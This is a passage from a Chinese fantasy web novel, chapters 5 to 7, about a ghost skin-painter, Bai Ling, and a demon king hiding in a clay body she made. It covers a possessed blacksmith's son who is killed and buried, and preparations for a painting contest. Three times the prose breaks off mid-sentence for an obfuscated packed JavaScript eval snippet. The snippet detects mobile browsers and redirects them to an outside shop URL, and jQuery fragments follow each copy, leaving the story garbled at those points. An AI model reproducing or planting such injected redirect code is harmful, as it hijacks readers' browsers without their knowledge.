“前几日有几个人鬼鬼祟祟来了芜月楼,也不吃饭,就说要见叶贼,我留了个心眼,偷听到他们说话,原来是那几人想要贿赂叶贼改变画皮比试的规则,现在凡是来报名的画皮师需得带上一名自己的学徒,否则就不让参加。” “我一偷听完,就立刻给你写信了。” 白夭夭所说的叶贼就是芜月楼老板叶知舟,因为他抠搜阴险,夭夭私底下一直这么叫他。 正常来说,画皮师带上自己的学徒,算是多了一个帮手,应该算是个好事。 但若是如此,夭夭没必要特意和百灵再次强调,那帮人也没必要贿赂叶知舟。 画皮虽然是对画皮师而设,但总有一些不速之客想借此扬一扬自己的名头,这些人大多出生富贵,不缺钱财但缺名利。 参加比试是假,夺得名头是真。 没猜错的话,那些所谓的学徒才是真正有画皮实力的人。 冥界的画皮师地位并不高,几乎都是社会底层,画皮材料昂贵,大多都是像百灵一样自制。 能自给自足已是艰难,更别提请个学徒来给自己帮忙。而且有些不轨之人假借学徒名义,偷师学艺、翻脸不认人的事情不在少数。 “对了灵姐,你找到学徒了吗?马上就到正式报名时间了,可千万要抓紧了,不然听话懂事的都被别人挑走了。” 说到这,百灵手中动作停顿了,有些结结巴巴道:“算……算找到了吧。” “真的?这么快!”夭夭讶然,好奇连环追问道,“男的女的?小孩还是大人?听你的话吗?是真的拜师学艺,还是请的戏子?” 百灵脑中思绪翻涌,一时竟不知道如何表达。 时间线倒回昨天。 赶走油爷后,周延玉总算是现身了。 像是什么都没发生一样,乖乖伸出手让百灵继续修复。 四肢很快补完后,周延玉像个好奇宝宝一样认真观察自己的身体,忽然脸色一变,嫌弃道:“怎么闻起来臭臭的,是这个土的味道吗?” 当然不是,这些土的臭味早就散没了。 这副身体是百灵拼拼凑凑做成的,她找不到合适的骨头,所以也用到了像什么老鼠啊,蛇啊,癞蛤蟆啊之类的骨头。 同类还嫌弃同类臭呢,百灵暗暗想。 “死人的骨头当然有点味道,你将就将就吧。”百灵有些不耐烦道。 周延玉神色略显不满,但他不是画皮师,无奈也只能强迫自己接受。 “这个身体,是男是女啊?” 他原地转了两圈,发现这个身体没有明显性别特征。 这不是错觉,当初百灵捏这副身体的时候没想好性别,所以身体没有明显的性别特征。 “女的啊。”百灵继续忽悠道。 “虽然头发稍微短点。”百灵指着他头上那顶超短的炸毛假发,解释道,“但方便打理。” “虽然这里不那么丰满。”百灵手指下移,停在胸部位置,“但省布料啊。” 岂止是不丰满,根本没有。 “……” 看着这不男不女的身体,又想到自己曾经高大健壮的身体,周延玉欲哭无泪。 “哎呀,不就是少那二两肉吗?你真这么想要,我回头给你补上不就行了。”百灵错解了他的意思。 “不用了。”周延玉立刻拒绝,指着鸡窝头道,“帮我把头发弄好就行。” “好,我有空就弄。”百灵敷衍道。 “嗯。”周延玉淡淡应了一声,随即欲起身测试现在能不能正常行走。 “这个泥还没干呢,你先别下地走路,坐一会等风干。”百灵按着他的腿阻止道。 “得坐多久?” “怎么也得两个时辰吧……” “两个时辰?”周延玉眉宇微皱,显然不乐意自己要像坐牢一样被困在凳上这么久,“那你看好这副身体,我要离体一会。” “离体?什么意思?”百灵问,“是灵魂出窍吗?” “嗯。” 周延玉话落,就闭上了眼。 “等等!”百灵冷不丁出声制止,心中闪过一个可怖的念头,“你不会是要去找别的鬼附身吧?” 小的时候她听过这种故事,失去了身体的妖怪会夺舍鬼的躯壳,把它占为己有,吞噬掉鬼的灵魂,彻底取代它。 如果是真的话,周延玉会不会和她撕破脸,起了歹意,把她的身体抢了怎么办? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719254|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百灵莫名有些心虚害怕了。 “看来你的消息真是不大灵通。”周延玉缓缓睁开眼,斜睨了她一眼,语气带着一丝属于妖王的倨傲,“十年前,妖王和鬼王签订了盟约,为了两届和平,妖族不可以以任何缘由附身于鬼,违者杀无赦。” 这是他父亲亲自订的盟约,周延玉记得很清楚。 看起来这盟约对妖族没什么好处,实际上不然。 但凡附身于鬼的妖怪不但面临着原主的反抗,被发现不是本人的风险,还会被这具躯壳慢慢同化。 因为鬼的身体脆弱不堪,妖为了适应,不得不弱化原本强大的力量,否则就得不停找新的尸体。 那时的妖王也不愿看见自己的子民变成妖不妖,鬼不鬼的模样,就和同样困扰的鬼王达成协议。 百灵确实不知道此事,这些年一直专注画皮,没怎么听过外界的传闻了。 不过她这么一说,自己似乎有些印象,那些鬼附身的故事都是小时候听说的,长大了就几乎没了。 “还有什么要问的吗?”周延玉懒懒抬起眼皮,“趁我还没走。” “有的。” 得知这条盟约的存在,百灵放下戒备之心,问道:“我叫百灵,我还不知道你叫什么呢?” 连性别都造假的周延玉自然也不愿如实告知他的名字。 “我从小一人生活,没有名字,你随便叫吧。” 没有名字?百灵稍稍一怔,但又很快了然。他是妖,可能名字对他们来说不那么看重,毕竟家养的猫猫狗狗都是人来取名的。 “既如此,我就叫你……”百灵凝神思索一番,随即开口道,“小骨?” “……”周延玉已然闭上双眼。 百灵伸手一探,果然是离体了,呼吸都没了。 那他应该听到了吧?没听到应该也无所谓吧,她可是师父啊,自然是师父说了算。 都能接受这副鸡窝头假小子一样的身体,“小骨”这么草率的名字怎么不行呢? 就是可惜了以后不能管别的泥人叫小骨了。 …… “所以你是收留了一个无家可归的流浪汉,还给人取了个名字,就让他来当你的学徒了?” 对于百灵这个轻易草率的决定,白夭夭非常不满。 她本来准备自告奋勇当百灵的学徒,怎么被一个来路不明的流浪汉抢先了? “差不多吧……” 百灵没有坦诚告知,而是半真半假和夭夭描述。 她自认编故事的能力很差,但总不能说她家泥人被妖怪附身后活了吧。 主要她还承诺了要替小骨隐藏妖怪身份的事,她还是有契约精神的,也算是对他用一身杂七杂八烂骨头的补偿。 “灵姐,你可得小心了,我觉得这小流浪汉可没安什么好心,当心他坏事。”私心促使白夭夭不惜用最大的恶意揣测这位学徒。 “怎么说?” “俗话说的好,斗米恩,升米仇,你可别对他太好了,指不定哪天他就赖你一辈子不走了。” 在白夭夭心里,百灵是心软的大好人,当初自己脑袋被砍掉了大半,是她自愿帮忙补上,事后也没要钱,只让她承诺再也不当扒手了。 “放心吧,我明白的。”百灵避开夭夭的视线,下意识地摸了摸鼻子,“而且我可是他师父,他会有分寸的。” 但到了白夭夭耳中,却解读出另一番意思。 “分寸?灵姐你没流浪过不知道,这种装可怜的乞丐最会演戏了,变脸比翻书还快,灵姐你千万别惯着他,要拿出点师父的气势来。” 夭夭越说越来劲,“你若舍不得,哪天你把他带过来,我让他长点教训,教教他什么是尊师重道,免得他以后长出些坏心思。” “……”百灵无奈,不敢再接话,不明白怎么越抹越黑了。 5. 第五章 给白夭夭补完头发,回去的路上已是深夜。 百灵特意选在返程去王铁匠家里要回自己的工钱。 因为白天像这种人家一般都在外忙碌,晚上去不会走空。 其实这个单子是大半年前接的,王铁匠和他的妻子王婶收留了一个儿子,但这孩子因为不小心被铁水溅到,又没及时得到处理,整个左手臂几乎都溃烂脱落。 所以他们老两口找到百灵,让她为其做个新手臂。 这不是难事,可补完手臂后,就发生了怪事。 王二铁出现了神智不清的症状,有时会认不清周围的人,像变了个人似的。随着时间推移,这种症状越来越严重,现在已经到了无法见人,生活不能自理的程度。 他们几乎散尽家财都没治好儿子的病,自然也没有多余的钱给百灵。 可百灵并非富裕之人,她除了可以在时间上宽裕宽裕,无法真的不收钱。 一旦这种事有了开头,之后就会没完没了。 这一次,一定要彻底结清,不然这钱再难要回来了。最近要花钱的地方太多,否则她也不会百忙之中还早抽空来讨钱。 不知不觉中,她走到了铁匠家门口。 幸好,有微弱的光挣扎着从狭窄门缝挤出来,他们还没歇下。 百灵抬手在门扉轻轻敲了两声。 “谁啊?” 屋内传来妇女的回应声,即使看不见脸,也能从语调中感受到深深的疲惫。 “王婶,是我,百灵。” 她原想掩藏身份,担心他们得知是她后不开门。 但细想后还是算了,就算真隐藏了打开门照样认出她的脸,不如一开始就大方承认。 老木门颤抖着被推开,一位白发老人映入眼帘。 一月不见,王婶肉眼可见老了不少。 底层人家,遇上这样的无妄之灾,当真是可悲可怜。 “百姑娘,这么晚来有什么事呀?”王婶脸上淡淡的,没什么表情。 百灵不知她是装傻,还是被折磨地麻木,已经记不清自己还欠她一笔钱。 “我今日去了趟幽都,买了些点心。”百灵掏出早已准备好的蝴蝶酥,往前递给王婶,“这些给您。” 这其实是白夭夭私藏的点心,离开时一股脑给百灵塞了好多。 “好好……”王婶接过,面色依旧如常。 “那个……”百灵别开视线,飞速朝屋内瞥了眼,“二铁哥,还好吗?” 她还是不好意思直说,只能委婉从关心王二铁开始。 “老样子。” 王婶佝偻着背转身离去,然后找了个凳子坐下,缓声招呼道:“你也坐吧。” 百灵依旧站着,斟酌片刻道,“我可以去看看二铁哥吗?” 王婶慢慢抬手,指向左边位置,点头示意她过去。 她其实很好奇,王二铁到底为什么会变成这样? 当初这事传的沸沸扬扬,竟还有同行谣传是她这个画皮师在材料里动了手脚的缘故。 但她后面再画皮也没出现过这样的事,王婶也一直相信她,谣言不攻自破。 有人说王二铁是中邪了,可他自己就是鬼了,中什么邪? 姐姐说他是被鬼附身了,那时的她深信不疑,可是小骨却说两界之间早有盟约,不可能发生这样的事。 那究竟是为何? 王二铁被绑在椅子上,垂着脑袋,大概是睡着了。 单从外表看,没什么异常的。 下一秒,椅子上的人忽然抬头,形如枯槁的脸毫无预兆闯入百灵的眼眸。 他的右眼是空的,黑漆漆仿佛无尽深渊。 她收回不成熟的判断。 王二铁深陷眼窝的眼珠子钩子般紧紧攀附在百灵的瞳孔。 好可怕的眼神,像是一个黑色的深渊,看久了就会被黑洞吞噬殆尽。 撞着胆子对视几秒,她终于支撑不住,直接背过身去,不敢再面对他。 胸腔里的心跳声清晰分明,她抬手按住,似乎想缓解这股惊慌之情。 她本不该害怕,毕竟和骷髅打过很多次交道了。 但在她眼里,那些都是彻底的死物,再如何生得骇人她都不会害怕。 可王二铁不是啊,虽然是鬼,但有魂魄,能行动,能思考,不是什么都不知道骷髅架子。 “百姑娘,你来了。” 耳边响起王二铁低沉浑厚的嗓音,和那张脸不同,听起来中气十足。 这语气听起来熟悉和善多了,难道他清醒了? 百灵将信将疑转过身。 “我杀了你!去死啊!” 即将完全转身的刹那,椅子上的人突然暴起,竟直接带着椅子弯曲起身,向着百灵冲来。 百灵吓出一声惊叫,旋即迅速闪避。 她敢正面对峙油爷,到眼下面对王二铁,她却不敢。 因为实在是太诡异了,王二铁每个举动都难以预料,没有逻辑。不像油爷,把坏心眼直接写在脸上。 更重要的,她和王二铁无冤无仇,甚至王二铁之前还帮她打过趁手的工具。 对于当下这个明明是王二铁又不像是王二铁的人,她实在是害怕。 王二铁这一下起得太猛,又扑了个空,竟径直头朝地栽到在地上。 “咔嚓”百灵听见头骨碎裂的声音。 王二铁保持着脸贴地的诡异姿势,突然放声大笑。 不是因为痛发出的笑,而是恣意放纵的笑,越笑越疯狂,越笑那张脸就越扭曲。 百灵惊魂未定,拖着疲软的双腿,一步步撑着墙面离开。 好不容易移到王婶跟前,百灵着急忙慌喊她,想让她赶紧离开这。 可王婶只是冷漠看着她。 “你走吧。”王婶推开她上前试图搀扶的手,固执道,“这是我儿子,爹不要了,娘要。” “他不是王二铁!”百灵激动道,“王婶你醒醒啊,这不是你儿子,他会伤害你的,跟我走吧。” “你走!你们都走!离开我家!” 百灵的激进劝服起了反作用,王婶狠狠把百灵推搡着摔到地上,有些语无伦次道,“我儿子是正常人!我儿子没病!” 她一边说一边踉跄着小跑着给王二铁解开身上的麻绳。 “他没病,你看着,他没事。”她已然失了神志,粗暴解着绳结,喃喃自语道。 王二铁的笑声也随着王婶的到来而停止。 垂倒的眼睛又盯上了百灵,唇角还扬起一抹势在必得的微笑。 察觉到空气中逐渐凝固的危险气息,百灵没心思再想王婶,支着手撑地起身,夺门而出。 她一直跑一直跑,累的上气不接下气,也不敢停下。 身后一直有亦步亦趋的脚步声,王二铁竟然追上来了! 真是倒了大霉!百灵此刻无比后悔自己非要来讨这笔钱。 她确信自己绝对跑不过王二铁,一个壮年的男子,还是铁匠的儿子,干的体力活比她累多了。 跑不过更打不过,他连骨头碎裂都不曾喊叫,已然疯了。 唯一能做的,就是在心中默默祈祷,千万别伤到自己的手,那可是她讨生活的家伙。 其他地方坏就坏了可以自己补上,手坏了可就要花钱找别的画皮师啊! 要死啊她为什么不是有钱人! 脚步越发沉重,口腔里弥漫一股血腥味,身体已经坚持到了极限。 耳畔传来野兽捕食般的粗重喘息声,伴随她擂鼓般的心跳,愈来愈近。 不出意料的,王二铁很快追上了她,左手臂毒蛇般缠上来,死死箍住她的脖颈。 她做梦都没想到有这么一天,她要被自己亲手创造的东西掐断脖子。 好结实的手臂,不愧出自她手。 许是为了安慰自己,这种时候她竟有心思欣赏自己做的手臂。 窒息感慢慢吞没了她,视线也随之模糊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719255|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大脑一片空白,她神志涣散,马上要晕了。 “啊——” 恍惚中,她脑子里倏然响起一阵惨叫声,是谁的?是她自己吗? 已经分不清声音来自谁…… 彻底丧失意识的前一瞬,窒息的束缚感骤然消失,没了支撑的百灵,摇摇晃晃砰的一声倒了。 倒的好结实,像在真的地上,她以为应该是像躺在软绵绵的被子上,没什么感觉才对。 眼皮半开半合,眼前的场景朦朦胧胧,她竟出现幻觉了。 不大清楚的幻觉里,王二铁被人从背后掏出了心脏,然后狠狠捏碎,王二铁倒在地上,毫无还手之力。 原来她是个这么狠辣的人吗?虽然被追的很害怕,但也没想过这样对王二铁,把他心脏捏碎了说不定还要给他补呢。 其实她只希望王二铁别再追她了,就这么简单的。 “还要装死到什么时候?” 谁?谁在说话?是王二铁吗?他不是已经倒了…… 又是幻觉吗?看来她的想象力挺丰富的…… “起来,不然我把你手折了。”同样的声线再次响起。 “别……”百灵强忍住晕眩,嘴巴一张一翕,费力从齿缝挤出这个字。 “弱不禁风……” 迷迷糊糊间,似乎有人把她扶起来,四肢经脉涌入一股暖流,百灵的意识渐渐回转,微张的眸子里,一张熟悉的脸从模糊到清晰。 “小骨,你怎么在这……” “我救了你。”周延玉唇角牵起一丝笑意,语气毫不客气,“看来你欠我一个人情了。” 虽然这并非他本意。 百灵离开之后,他就独自出门,想探查周边是否安全,会不会有其他的妖怪。 万一被怀有异心的同类发现,他的身份暴露,肯定不能安稳潜伏在鬼界。 所以必须趁早除掉隐患。 白天一切正常,没有异动。可一入夜,他就察觉到不对劲,有妖气在蠢蠢欲动。 但这妖气并不纯粹,有种垂死挣扎的无力感。 这更加可疑,他顺着感应,来到了王家,意外碰见了百灵。 他很早开始就在附近了。 迟迟不出手是想看看百灵一个人能撑到什么时候,还有那妖怪有多大能耐。 他喜欢在暗处观察,无论是上次油爷的挑衅,还是这一次。 结果毫不意外,一个弱者和更弱者之间的较量罢了。 准确来说,不是较量,是单方面的猎杀。 看来她的勇气是有条件的,仅限于同类。 无论如何,鬼到底是弱小的,即使是对这种他根本不屑于出手的妖怪,也是相形见绌。 他一击毙命,掏出心脏捏碎,妖怪和那具身体融合太久,随着心脏破裂,妖丹也随之震裂,当场毙命。 “你的意思是,王二铁被妖怪附身了?”百灵不可置信,忍住才从晕眩中清醒的混沌意识,一步步走到王二铁身边。 冲击力太大,他整个胸膛都空了,肠子和其他碎肉如卸网的鱼,横七竖八散落了一地。 他也是无辜的人,和他娘一样…… 百灵记得王二铁虽然不是王家亲生子,但对待爹娘孝顺之极,之前的手臂拖着不补,也是他不愿意让爹娘为自己劳心费神。 就算同意了,也是一直让她用最便宜的材料补,能用就行。 “可你不是说了……”百灵侧身质问周延玉,语气不善,“盟约不是禁止附身吗?你们到底为什么要这样出尔反尔?” 在她心里,妖是妖,鬼是鬼,若二者之间有冲突,她毫无疑问会站在同类这边。 “你什么意思?这只是其中一只妖不遵守规矩,你就认为所有妖都这样吗?”周延玉忿忿道。 妖怪附身夺舍的事,他也很意外,但怎么说百灵都没有立场来指责他们,又不是附身在她身上。 更何况他还救了她!真是救了个白眼狼。 6. 第六章 “是,这只是一只妖。”百灵重复了一遍他的话,随即转过身,直视他冰冷的眸子,坚定道,“但在我们看不见的地方,你有想过还有多少妖怪在抢鬼的身体吗?” “你以为这只是抢了一具身体这么简单的事吗?王二铁还这么年轻,他是王家的独子,就因为一只妖怪为了自己的私心抢了他的身体,害得他几乎家破人亡,失了神志的王二铁甚至可能杀了他的家人……” 百灵越说越激动,她情不自禁开始共情,如果被妖怪附身的自己失去神智,杀了姐姐的话,那她将生不如死。 周延玉被堵地说不出话。 若这不是偶然,那便意味着妖界律法出现了他未曾察觉的漏洞,或是出现了敢于挑战他权威的势力。 无论是哪一种,都是他作为妖王的重大的失职。他这几年,难道真活在下属们精心编织的谎言里吗? 他一定要查清此事。 “你不该这样,好歹留具全尸给王二铁。”百灵看着残缺的尸体叹息道。 不敢想王婶亲眼目睹如此悲惨死状,该有多崩溃。 “刚才若不是我出手相救,你早就成为那妖怪的新宿主。”周延玉凝着眉头,声线里带着不满,轻蔑垂眼打量地上尸体。 我可没说要你救,反正我也死不了……百灵在心里嘀咕。 他若真心救她,油爷昨日来挑衅早就现身了。 “至于他,早就已经死了,魂魄和妖怪融为一体,要么行尸走肉活着,要么和妖怪同归于尽。” 王二铁真的死了魂飞魄散了吗? 死前他反常的举动一股脑涌上心头。 “百灵,你来了。” 百灵更愿意相信,这话不是错觉,也不是妖怪的引诱,是王二铁短暂争夺的清醒时刻。 不然他也不能和妖怪抵抗如此之久。 当真不易。 百灵于心不忍,准备原地挖个坑把他埋了。 王婶那副样子,肯定无力料理后事,这是她唯一力所能及的事。 至少这里,还离家里近点。 “你在干嘛?”周延玉不解百灵跪地刨土的行为。 “挖洞,埋尸。” “他又不是没家人,何必多管闲事。”周延玉交叠手臂,语气淡淡的,居高临下俯视道。 “他的家人自顾不暇。”百灵抱着一大团湿土用力往边上一扔,“他已经尽力了,不该落得这样暴尸荒野的下场。” “你这样挖下去,天亮都不一定能结束。” 周延玉换了个思路劝她停手。 “是啊。”百灵停下手,稍稍喘了两口气,偏头命令道,“你也别干站着,过来帮帮我。” “……”周延玉语塞。 “我如果可以早点结束,就可以回去早点捏你的新身体了。”百灵眉峰一挑,神色像一只狡猾的狐狸。 周延玉神色由不满转为无奈不甘。 “你起来。”周延玉上前了两步。 百灵不明所以,但还是照做。 “我可以借你一点妖力,这样你能快些做完。” 显然周延玉不想屈尊干这种脏活累活,但施舍些妖力可以。 “手。” 周延玉抬起靠近百灵那边的手,手心朝上,指尖微动,示意她放上来。 百灵缓缓抬起自己的手,乖乖放在周延玉的手上。 她好奇看着周延玉闭上了眼,酝酿着什么。 怎么没变化?难道不该感觉浑身充满力量吗? 她想问问周延玉,但见他专注的模样又不想打扰他。 层叠的双手,百灵不敢移动,周延玉的手却微微颤动。 这是再暗示她吗?是不是动作有问题,要牵着手吗…… 因为周延玉自称为女,百灵没什么避讳,五指微屈,试图和他十指相扣。 她甫一碰到周延玉的指缝,后者如同触到新鲜出炉的滚烫红薯,乍然收紧并拢,没有一丝多余空隙。 ?? 百灵讶然,这人反应干嘛这么大,手上是立了什么贞节牌坊吗? 不就拉个手,至于吗? 周延玉剑眉轻蹙,耳尖泛起一抹绯色,传完妖力的瞬息火速松开手。 “好了。” 百灵看着他神色古怪背过身去。 正事要紧,她没再管周延玉奇怪的行为。 仅仅一成的妖力,百灵伸手在地上轻轻一按,顿时凹处一个大洞。 这么好用! 她很快掏出了一个大洞,许是太过沉浸,整个人都挖到了坑底都不觉。 “好了!”抛出最后一堆土,她满意四处打量这个大坑。 埋俩人都绰绰有余。 高兴没多久,她惊觉自己被困在底下了,妖力似乎早已耗尽,仅靠自己根本爬不出来。 “小骨!”百灵在坑底一边蹦跳,一边大声呼喊道,“拉我一把,我出不去了!” 周延玉充耳不闻。 他怎么会和这样一个轻浮的人做交易! 先是未经允许牵他的手,还自作主张唤他什么…… “小骨——” 身后之人聒噪求助声接连不断灌入耳内,周延玉背手站着,得意又解气。 等她何时停下,他才出手。 须臾,身后的呼喊忽然静止。 周延玉自信转身,想一睹百灵的狼狈模样。 “啪”的一声,一坨泥巴精准砸到周延玉脸上,微湿的泥巴混着枯枝落叶顺着下颌缓缓坠落,相继落在他的衣角、袖口和鞋上。 “……” “原来你在啊。”百灵的声音从底下幽幽传来,语调里半是疑惑半是抱怨,“怎么不理我,我还以为你走了呢……” 周延玉气得冷笑出声。 不可一世的妖王,从未受过如此之辱,还是被一个如此弱小的鬼…… 他指尖微转,妖力泻出,转眼间卷起一股强大妖风,未等洞中人有片刻反应,就蓦地被狂风卷起,腾空至几丈之高。 “救命!”突如其来的失重感让百灵无所适从。 空中原地转了几圈后,周延玉指尖并拢,收回了妖力。 百灵最终稳稳被风托住落地。 给个教训就够了,不用做太绝。 “你干嘛……”百灵缓了一会,而后顶着一头凌乱头发,皱眉起身兴师问罪。 可质问话的到了嘴边,又生生被咽下去。 理直气壮的气势再看见那张泥巴脸时登时消减了大半。 只是想确认下他还在不在,也没想过砸他脸的…… 曾经亲手一笔一画描摹、每日仔细擦拭的脸,她自己也怪心疼的。 “我怎么?”周延玉俯身蹲下,裹了霜的眸子紧紧盯着百灵,反客为主道。 百灵心虚干笑两声,在身上擦干净手,抬手抹了抹他的脸。 她擦的很轻,指腹来回摩挲着他的脸颊,因为那里泥最多。 “还好还好,五官都好着呢,没花掉。”百灵轻抚过他的侧脸,动作极近温柔,以示安慰。 只是有点脏而已,不需要再辛苦重新描绘,幸好幸好。 周延玉又僵住了,整张脸以极其不自然的方式紧绷着。 上一个这样亲昵摸他脸的人还是娘。 只不过是以妖的原型,毛茸茸的样子。 娘喜欢给他舔毛,尤其是舔他的脸,他也尤为享受这种没有条件的信任和爱抚。 他生理上并不排斥百灵这样摸他的脸,因为唤起了温馨的记忆。 可心理却觉得无比变扭。 “你没事吧?”百灵张开手在他面前晃了两下。 “无事。”周延玉眼神飘忽,避开她的目光,又一次转身背对百灵。 怎么又来了? 她来不及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719256|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细想,因为在黑暗中有个沉重的身影正朝着自己走来。 是王婶! 百灵弹射起身,急匆匆拖着王二铁的尸体放进她挖的洞里。 幸好王婶走得不快,在她赶来之前,百灵已经把周围的土全部推进大洞,又用脚在上面踩结实。 “百姑娘,你看见我儿子了吗?”王婶躬着身子,面容憔悴。 “嗯,那个,就是……”百灵五指捏住衣角来回打转,不知该如何措辞。 “他死了。” 周延玉猝不及防宣布了这个难以启齿的噩耗,以最直白的方式。 百灵震惊抬眼,默默剜了他一眼,随即把注意力转到王婶身上。 “二铁哥他,为了不拖累您,所以选择了自裁。”百灵一字一顿认真道,“临终前,他说了,当您的儿子是他这辈子最幸福的事,希望你能替他好好过好以后的日子。” 事已至此,再隐瞒也没有任何意义,不如就替王二铁,完成他没实现的告别。 “好,好,好……” 沉默良久,王婶连说了三个好字。 百灵莫名担心她的精神状态。 “我的儿,解放了啊……” 王婶突然仰天大笑,泪水顺着皱纹一滴滴落下,她望向虚无的黑暗中,眷恋的眼神诉说着不舍和悲戚。 百灵不忍,用手轻抚妇人的背脊。 王婶颤巍巍从袖口掏出帕子,从里面拿出皱巴巴的纸钱,塞到百灵手中。 “多谢你了,百姑娘。”王婶又用自己苍老的手掌覆在百灵手上,“这债,也该还完了。” 百灵拿着钱的手石化般一动不动,讨钱目的是达到了,但她却开心不起来。 “二铁出事后,只有你愿意来多看一眼。”王婶抹了把脸上的泪水,“现在他走了,我也没什么留你的理由。” “……”百灵闻言,垂眸轻叹。 那些不知该如何开口,嘘寒问暖的客套话,竟是她不可多得的慰藉。 手里拿着本来就属于自己的钱,仿佛有千斤重。 百灵回握住她的手,试探通过温暖给予这个老妇人一丝安慰。 王婶紧紧握住百灵的手,像握住转瞬即逝的流火,生怕下一秒就会消逝。 两个没有血缘关系的人,此刻却亲密如家人。 周延玉静静看着这一切。 人心之复杂,情感变化之莫测,果真难以揣测。 他本以为那妇人会将儿子的死归在百灵头上,对她破口大骂,甚至以命偿命。 还有百灵,未免太过感情用事,那王二铁几乎要杀了她! 她不仅对自己这个救命恩人没什么表示,反而给差点要害死自己的人挖坑埋尸。 良久,两人冷静下来后,百灵坦白了她给王二铁的埋尸处。 她搀扶着王婶走到身后坑的位置。 周延玉破天荒地上前,伸手搀扶住王婶另一边。 百灵一头雾水,睨了他一眼。 这人什么时候这么好心了? 难道杀死人家儿子愧疚了? 不可能啊,小骨解决王二铁的时候那么决绝,埋尸的时候也一直冷眼旁观,不像是这种人啊…… 兴许是做做样子,装好人吧。 看不透也无所谓,我们之间不过是场交易罢了,纯粹的利益关系,百灵心道。 他捏碎王二铁心脏的决绝百灵记忆犹新,对于妖怪来说,杀戮就和吃饭睡觉一样正常。 而且她严重怀疑小骨享受杀死王二铁的过程,就像动物追逐猎物,是天性。 是她一开始将此妖想的太简单了。 冷漠无情才是他的真面目。 油爷那次也不是吓傻了,而且和现在一样选择袖手旁观。 要不是她们之间有交易,为了那副完美骨架,小骨怎么会答应做她学徒,又怎么会好心救她给她妖力…… 7. 第七章 画皮比试报道的前夕,白夭夭又给百灵来信了。 “好消息!好消息!” 见字如面,百灵仿佛已经看见一个欢呼雀跃的红衣少女蹦蹦跳跳在她耳边言语。 “灵姐,报名的规则变了!叶贼那诡计多端的家伙表面一套背面一套,既要收钱又不让人好过。” “上次我不是同你说必须带学徒参赛吗?现在不用了,可带不带。那叶贼还将有学徒的画皮师和没有的分成两组独立进行比试。” 既要收钱办事,又不完成照办,叶知舟不愧是个名副其实的奸商。 而且分成两组进行,无疑是将关系派和底层派分割开来,两者就不会进行直接的比拼,同时保护了两派的利益。 底层的人知道自己财力上干不过关系户,关系户也知道自己技不如人,如此规则规避了两者不必要的冲突。 百灵没猜错的话,有学徒的那组早已是内定好了前几名的赢家,而无学徒组纯凭实力。 这样的话,她就没必要带上小骨这个学徒了。 白夭夭在这点上和自己想法高度一致,而且更为激进。 “灵姐!你现在就可以把那个心怀不轨的学徒踹了,让她自生自灭去吧。我以前也流浪过,相信我,没有你他一时半伙也死不了。” 百灵扶额,白夭夭也没见过小骨,怎么凭空生出这么大的恶意,何况夭夭之前确实流浪过,也没有丝毫的共情。 虽然她也自认为小骨不是什么善良的妖怪,但也是通过相处而得知。 “新头发很牢固!想你的夭夭。” “......”不管怎么说,夭夭还是个孩子心性的人。 所有的喜怒哀乐都写在脸上,没什么心眼子。对人也是直率坦荡,爱憎分明。 将信合拢收好,照例放在床头柜下层。 小骨不在,这几天她总是这样,神出鬼没的。 不过她早就提前和小骨说好明天要一起去报名,在收到这封信之前。 说来也怪,因为报道得天不亮就出发,还要拿各种大包小包的材料,是件辛苦事。 她都斟酌好久怎么说服小骨,可他一听说要去芜月楼报道后,一下就同意了。 还答应会乖乖陪她演戏。 怕不是个没见过什么世面的妖,第一次被光明正大带着去见识传说中冥界幽都最繁华之地,芜月楼。 百灵决定,还是按原计划进行。 倒不是同情这个乡下妖,恰恰相反,她要给他好好上一课。 因为她是在是受不了了! 这几天,只要两人同处一室,小骨就监工一样催她赶紧捏制新身体。 百灵是个自驱力很强的人,根本不需要别人的监督,也不喜欢这样的催促,显得她很懒散似的。 这些都算了,她勉强能忍,毕竟是要给他的身体,比起一般更重视些也能理解。 可他不仅催,还要在一旁指手画脚,甚至还想上手干扰! 百灵贴着大腿骨的位置,捏好了此处的大概形状和肌肉走向。 “不对,这腿应该粗点。”周延玉扯着双眉,单手抚过下巴点评道。 百灵不情不愿在外面又加厚了一层泥。 “好像还差点什么意思......”周延玉摇摇头,依旧不满。 百灵原想实施装聋作哑的策略,可周延玉脑子一根筋,死扣着各种细节不放。 “左膝上靠右的位置应该有一颗痣,你记得加上。” “还有腰腹边上要有一道浅浅的疤痕,大概就是那种不太明显的样子。” “这臀部,没必要这么大吧?还有这旁边怎么凹下去了?这不太正常吧......” “......” 百灵恨不得拿针线缝住他这张死嘴。 有没有毛病啊,什么痣啊疤啊,这妖怪是有什么说不出口的奇怪癖好吗? 